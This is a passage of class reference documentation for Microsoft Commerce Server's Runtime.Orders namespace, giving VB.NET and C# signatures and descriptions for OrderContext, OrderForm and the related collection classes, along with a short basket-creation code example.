Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(String) | Retrieves an order address by address ID.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of OrderAddressCollection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(OrderAddress) | Adds the specified order address to the collection.
CopyTo(Array, Int32) | Copies the elements of this collection in to the specified array.
GetEnumerator | Retrieves an enumerator on this collection.


OrderAddressCollection.Add (OrderAddress) Method (BCL)

Use this method to add the specified order address to the OrderAddressCollection collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal orderAddress As OrderAddress _
)
[C#]
public void Add(
  OrderAddress orderAddress
);

Parameters

[Visual Basic .NET]
orderAddress
The order address to add to the collection.
[C#]
orderAddress
The order address to add to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the elements of this collection in to the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Target buffer to copy data to.
index
The zero-based index of array at which copying starts.
[C#]
array
Target buffer to copy data to.
index
The zero-based index of array at which copying starts.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on the collection.

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

The handle to an OrderAddressEnumerator object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(String) | Retrieves an order address by address ID.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the OrderAddressCollection class.


OrderAddressCollection.Count Property (BCL)

The Count property is a read-only Int32 indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns a value of False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized. This implementation always returns a value of False.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.Item Property (BCL)

The Item property is a read-only indexer that allows for accessing a collection indexer by address ID.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal addressID As System.String _
) As OrderAddress
[C#]
public OrderAddress Item(
  System.String addressID
) {get;}

Parameters

[Visual Basic .NET]
addressID
The address ID.
[C#]
addressID
The address ID.

Property Value

An indexer for the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only Object that can be used to synchronize access to the ICollection. This implementation always returns the current instance of OrderAddressCollection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The Object used to synchronize access to the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderContext Class (BCL)

Represents a connection to a transactions database. The construction of an OrderGroup object requires an OrderContext object. A default OrderContext object is created by the Commerce Server .NET Application Framework if the CommerceOrderModule is configured in the web.config file and if a transactions resource exists for the site.

Public Instance Constructor

Constructor | Description
OrderContext Constructor(String, DebugContext) | Creates a new instance of the OrderContext class with the specified connection string and DebugContext object.

Public Instance Methods

Method | Description
CreateOrderTemplate(Guid) | Creates a new order template instance.
GetBasket(Guid) | Retrieves an existing basket instance, or creates a new one if it does not exist.
GetOrderTemplate(Guid, Guid) | Retrieves an existing order template instance.
GetPurchaseOrder(Guid, Guid) | Retrieves an existing purchase order instance.
GetShippingMethods(String, String, String[]) | Returns the list of configured shipping methods as specified by the input parameters.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderContext Constructor(String, DebugContext) | Creates a new instance of the OrderContext class with the specified connection string and DebugContext object.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext Constructor (String, DebugContext) (BCL)

Use this method to create a new instance of the OrderContext class with the specified connection string and DebugContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal connectionString As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public OrderContext(
  System.String connectionString,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
connectionString
The connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will appear to the user. May not be null.
[C#]
connectionString
The connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will appear to the user. May not be null.

Remarks

Throws ArgumentNullException if either required parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext Methods (BCL)

Public Instance Methods

Method | Description
CreateOrderTemplate(Guid) | Creates a new order template instance.
GetBasket(Guid) | Retrieves an existing basket instance, or creates a new one if it does not exist.
GetOrderTemplate(Guid, Guid) | Retrieves an existing order template instance.
GetPurchaseOrder(Guid, Guid) | Retrieves an existing purchase order instance.
GetShippingMethods(String, String, String[]) | Returns the list of configured shipping methods as specified by the input parameters.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.CreateOrderTemplate (Guid) Method (BCL)

Use this method to create a new order template instance.

Definition

[Visual Basic .NET]
Public Function CreateOrderTemplate( _
  ByVal userID As System.Guid _
) As OrderTemplate
[C#]
public OrderTemplate CreateOrderTemplate(
  System.Guid userID
);

Parameters

[Visual Basic .NET]
userID
The ID of the user owning this template (Guid structure).
[C#]
userID
The ID of the user owning this template (Guid structure).

Return Value

A new OrderTemplate class instance.

Remarks

When a template is created, a unique template ID is automatically assigned. The order group ID for a template is the same as the template ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetBasket (Guid) Method (BCL)

Use this method to retrieve an existing basket instance, or create a new one if it does not exist.

Definition

[Visual Basic .NET]
Public Function GetBasket( _
  ByVal basketID As System.Guid _
) As Basket
[C#]
public Basket GetBasket(
  System.Guid basketID
);

Parameters

[Visual Basic .NET]
basketID
The OrderGroupID property for baskets is set equal to the basketID. The user ID for the current user is most commonly used as the basketID.
[C#]
basketID
The OrderGroupID property of a basket is set to the basket ID. The userID for the current user is most commonly used as the basketID.

Return Value

The existing populated basket instance, or a new empty basket instance, if one is not found.

Example

using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Orders;

private OrderGroup CreateBasket()
{
   CommerceContext csContext = CommerceContext.Current;

   // Get the user's user Id
   //Guid userID = new Guid(csContext.UserID);
   // For this sample, we'll generate a new Unique UserID:
   Guid userID = Guid.NewGuid();

   // GetBasket() will load a user's existing basket, if it exists,
   // otherwise it will create a new, empty basket
   Basket basket = csContext.OrderSystem.GetBasket(userID);

   // If this is a new basket, then create a default OrderForm
   if (basket.OrderForms.Count < 1)
      basket.OrderForms.Add(new OrderForm("default"));

   return basket;
}

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetOrderTemplate (Guid, Guid) Method (BCL)

Use this method to retrieve an existing order template instance.

Definition

[Visual Basic .NET]
Public Function GetOrderTemplate( _
  ByVal userID As System.Guid, _
  ByVal orderTemplateID As System.Guid _
) As OrderTemplate
[C#]
public OrderTemplate GetOrderTemplate(
  System.Guid userID,
  System.Guid orderTemplateID
);

Parameters

[Visual Basic .NET]
userID
The ID of the user owning this template.
orderTemplateID
The template ID of the order template instance.
[C#]
userID
The ID of the user owning this template.
orderTemplateID
The template ID of the order template instance.

Return Value

An OrderTemplate class instance, if one is found. Null, otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetPurchaseOrder (Guid, Guid) Method (BCL)

Use this method to retrieve an existing purchase order instance.

Definition

[Visual Basic .NET]
Public Function GetPurchaseOrder( _
  ByVal userID As System.Guid, _
  ByVal orderID As System.Guid _
) As PurchaseOrder
[C#]
public PurchaseOrder GetPurchaseOrder(
  System.Guid userID,
  System.Guid orderID
);

Parameters

[Visual Basic .NET]
userID
The ID of the user owning the basket.
orderID
The order ID of the purchase order.
[C#]
userID
The ID of the user owning the basket.
orderID
The order ID of the purchase order.

Return Value

The purchase order instance, if one is found. Null, otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetShippingMethods (String, String, String[]) Method (BCL)

Use this method to get the list of configured shipping methods as specified by the input parameters.

Definition

[Visual Basic .NET]
Public Function GetShippingMethods( _
  ByVal sqlFilter As System.String, _
  ByVal orderBy As System.String _
  ByVal columnsToReturn As System.String[] _
) As System.Data.Dataset
[C#]
public System.Data.Dataset GetShippingMethods(
  System.String sqlFilter,
  System.String orderBy
  System.String[] columnsToReturn
);

Parameters

[Visual Basic .NET]
sqlFilter
The SQL WHERE clause to apply. Can be null.
orderBy
The SQL ORDER BY clause to apply. Can be null.
columnsToReturn
The list of columns to return. Can be an empty array but cannot be null.
[C#]
sqlFilter
The SQL WHERE clause to apply. Can be null.
orderBy
The SQL ORDER BY clause to apply. Can be null.
columnsToReturn
The list of columns to return. Can be an empty array but cannot be null.

Return Value

The data set containing a data table containing the requested information about the required shipping methods.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Class (BCL)

Encapsulates an order form instance.

Public Instance Constructor

Constructor | Description
OrderForm Constructor | Creates a new instance of the OrderForm class.
OrderForm Constructor(String) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor (IOrderForm) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor (IOrderForm, String) | Creates a new instance of the OrderForm class with the specified attributes.

Public Instance Methods

Method | Description
Clear | Clears all the line items associated with the order form.
Dispose | Releases resources used by this object.
GetEnumerator | Retrieves an enumerator on this collection from the underlying OrderForm COM Interop object.
SetShippingAddress(String) | Sets the specified shipping address on the order form.

Public Instance Properties

Property | Description
BillingAddress | Retrieves or set the billing_address_id on the order form.
Dictionary | Retrieves the underlying IDictionary interop object.
DiscountsApplied | Gets a collection of the discounts applied for this order form.
HandlingTotal | Retrieves the value of the _cy_handling_total key on the order group instance.
Item(String) | Retrieves or set the value of the specified order form property.
LineItems | Retrieves the line items collection associated with the order form.
Name | Retrieves the order form name.
ParentOrderGroup | Retrieves the order group owning this order form.
ShippingTotal | Retrieves the value of the _cy_shipping_total key from the underlying OrderForm COM interop object.
SubTotal | Retrieves the value of the _cy_oadjust_subtotal key on the order group instance.
TaxIncluded | Retrieves the value of the _cy_tax_included key on the order group instance.
TaxTotal | Retrieves the value of the _cy_tax_total key on the order group instance.
Total | Retrieves the value of the _cy_total_total key on the order group instance.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderForm Constructor | Creates a new instance of the OrderForm class.
OrderForm Constructor(String) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor(IOrderForm) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor(IOrderForm, String) | Creates a new instance of the OrderForm class with the specified attributes.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (BCL)

Use this method to create a new instance of the OrderForm class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public OrderForm(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (String) (BCL)

Use this method to create a new instance of the OrderForm class with the specified attributes.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal orderFormName As System.String _
)
[C#]
public OrderForm(
  System.String orderFormName
);

Parameters

[Visual Basic .NET]
orderFormName
The order form name.
[C#]
orderFormName
The order form name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (IOrderForm) (BCL)

Use this method to create a new instance of the OrderForm class with the specified attributes.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal orderForm As Microsoft.CommerceServer.Interop.Orders.IOrderForm _
)
[C#]
public OrderForm(
  Microsoft.CommerceServer.Interop.Orders.IOrderForm orderForm
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm object.
[C#]
orderForm
The OrderForm object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (IOrderForm, String) (BCL)

Use this method to create a new instance of the OrderForm class with the specified attributes.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal orderForm As Microsoft.CommerceServer.Interop.Orders.IOrderForm _
  ByVal orderFormName As System.String _
)
[C#]
public OrderForm(
  ByVal orderForm As Microsoft.CommerceServer.Interop.Orders.IOrderForm _
  System.String orderFormName
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm object.
orderFormName
The OrderForm object name.
[C#]
orderForm
The OrderForm object.
orderFormName
The OrderForm object name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Methods (BCL)

Public Instance Methods

Method | Description
Clear | Clears all the line items associated with the order form.
Dispose | Releases resources used by this object.
Dictionary | Retrieves the underlying IDictionary Interop object.
GetEnumerator | Retrieves an enumerator on this collection from the underlying OrderForm COM interop object.
SetShippingAddress(String) | Sets the specified shipping address on the order form.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Clear Method (BCL)

Use this method to clear all the line items associated with the order form.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Remarks

This method delegates to the ClearItems method on the underlying order form object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this collection from the underlying OrderForm COM Interop object.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Th handle to a LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.SetShippingAddress (String) Method (BCL)

Use this method to set the specified shipping address on the order form.

Definition

[Visual Basic .NET]
Public Sub SetShippingAddress( _
  ByVal shippingAddress As System.String _
)
[C#]
public void SetShippingAddress(
  System.String shippingAddress
);

Parameters

[Visual Basic .NET]
shippingAddress
The shipping address ID.
[C#]
shippingAddress
The shipping address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Properties (BCL)

Public Instance Properties

Property | Description
BillingAddress | Retrieve or set the billing_address_id key on the order form.
Dictionary | Retrieves the underlying IDictionary interop object.
DiscountsApplied | Gets a collection of the discounts applied for this order form.
HandlingTotal | Retrieves the value of the _cy_handling_total key on the order group instance.
Item(String) | Retrieves or sets the value of the specified order form property.
LineItems | Retrieves the line items collection associated with the order form.
Name | Retrieves the order form name.
ParentOrderGroup | Retrieves the order group owning this order form.
ShippingTotal | Retrieves the value of the _cy_shipping_total key from the underlying OrderForm COM Interop object.
SubTotal | Retrieves the value of the _cy_oadjust_subtotal key on the order group instance.
TaxIncluded | Retrieves the value of the _cy_tax_included key on the order group instance.
TaxTotal | Retrieves the value of the _cy_tax_total key on the order group instance.
Total | Retrieves the value of the _cy_total_total key on the order group instance.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.BillingAddress Property (BCL)

The BillingAddress property is a read/write string that retrieves or sets the billing_address_id key on the order form.

Definition

[Visual Basic .NET]
Public Property BillingAddress As System.String
[C#]
public System.String BillingAddress {get; set;}

Property Value

The billing_address_id key on the order form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Dictionary Property (BCL)

The Dictionary property is a read-only IDictionary that gets the underlying IDictionary Interop object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Dictionary As IDictionary
[C#]
public IDictionary Dictionary {get;}

Property Value

The underlying IDictionary Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.DiscountsApplied Property (BCL)

The DiscountsApplied property is a read-only ContentItemCollection that gets a collection of the discounts applied for this order form.

Definition

[Visual Basic .NET]
Public ReadOnly Property DiscountsApplied As ContentItemCollection
[C#]
public ContentItemCollection DiscountsApplied {get;}

Property Value

The discounts applied for this order form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.HandlingTotal Property (BCL)

The HandlingTotal property is a read-only decimal that retrieves the value of the _cy_handling_total key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property HandlingTotal As System.Decimal
[C#]
public System.Decimal HandlingTotal {get;}

Property Value

The value of the _cy_handling_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Item Property (BCL)

The Item property is a read/write object that retrieves or sets the value of the specified order form property.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the property.
[C#]
keyName
The name of the property.

Property Value

The value of the specified order form property

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.LineItems Property (BCL)

The LineItems property is a read-only LineItemsCollection that retrieves the line items collection associated with the order form.

Definition

[Visual Basic .NET]
Public ReadOnly Property LineItems As LineItemCollection
[C#]
public LineItemCollection LineItems {get;}

Property Value

The line items collection associated with the order form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Name Property (BCL)

The Name property is a read-only string that retrieves the order form name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The order form name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.ParentOrderGroup Property (BCL)

The ParentOrderGroup property is a read-only OrderGroup that retrieves the order group owning this line item.

Definition

[Visual Basic .NET]
Public ReadOnly Property ParentOrderGroup As OrderGroup
[C#]
public virtual OrderGroup ParentOrderGroup {get;}

Property Value

The order group that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.ShippingTotal Property (BCL)

The ShippingTotal property is a read-only decimal that retrieves the value of the _cy_shipping_total key from the underlying OrderForm COM interop object.

Definition

[Visual Basic .NET]
Public ReadOnly Property ShippingTotal As System.Decimal
[C#]
public System.Decimal ShippingTotal {get;}

Property Value

The _cy_shipping_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.SubTotal Property (BCL)

The SubTotal property is a read-only decimal that retrieves the value of the _cy_oadjust_subtotal key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property SubTotal As System.Decimal
[C#]
public Decimal SubTotal {get;}

Property Value

The value of the _cy_oadjust_subtotal key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.TaxIncluded Property (BCL)

The TaxIncluded property is a read-only decimal that retrieves the value of the _cy_tax_included key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxIncluded As System.Decimal
[C#]
public System.Decimal TaxIncluded {get;}

Property Value

The value of the _cy_tax_included key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.TaxTotal Property (BCL)

The TaxTotal property is a read-only decimal that retrieves the value of the _cy_tax_total key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxTotal As System.Decimal
[C#]
public System.Decimal TaxTotal {get;}

Property Value

The value of the _cy_tax_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Total Property (BCL)

The Total property is a read-only decimal that retrieves the value of the _cy_total_total key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property Total As System.Decimal
[C#]
public System.Decimal Total {get;}

Property Value

The value of the _cy_total_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderFormCollection Class (BCL)

Encapsulates the collection of order forms on an order group object.

Public Instance Methods

Method | Description
Add(OrderForm) | Adds the specified order form to the collection.
Clear | Purges all the order forms from the collection.
CopyTo(Array, Int32) | Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves an enumerator on this collection.
Remove(OrderForm) | Removes the specified order form from the collection.
Remove(String) | Removes the specified order form from the collection.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(Int32) | Retrieves the specified order form from the collection.
Item(String) | Retrieves the specified order form from the collection.
ParentOrderGroup | Retrieves the order group owning this order form.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the OrderFormCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(OrderForm) | Adds the specified order form to the collection.
Clear | Purges all the order forms from the collection.
CopyTo(Array, Int32) | Copies the elements of this collection in to the specified array.
GetEnumerator | Retrieves an enumerator on this collection.
Remove(OrderForm) | Removes the specified order form from the collection.
Remove(String) | Removes the specified order form from the collection.


OrderFormCollection.Add (OrderForm) Method (BCL)

Use this method to add the specified order form to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal orderForm As OrderForm _
)
[C#]
public void Add(
  OrderForm orderForm
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm class instance to add to the collection.
[C#]
orderForm
The OrderForm class instance to add to the collection.

Remarks

This method internally invokes the AddItem method on the underlying OrderGroup COM interop object.

If you have two OrderGroup objects, OrderGroup1 and OrderGroup2, then you retrieve OrderForm1 from OrderGroup1. Then you call OrderGroup2.OrderForms.Add(OrderForm1), then OrderForm1 is cloned and copied to OrderGroup2. OrderForm1 is now modified to point to the copied instance in OrderGroup2.

Example

using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Orders;

private OrderGroup CreateBasket()
{
   CommerceContext csContext = CommerceContext.Current;

   // Get the user's user Id
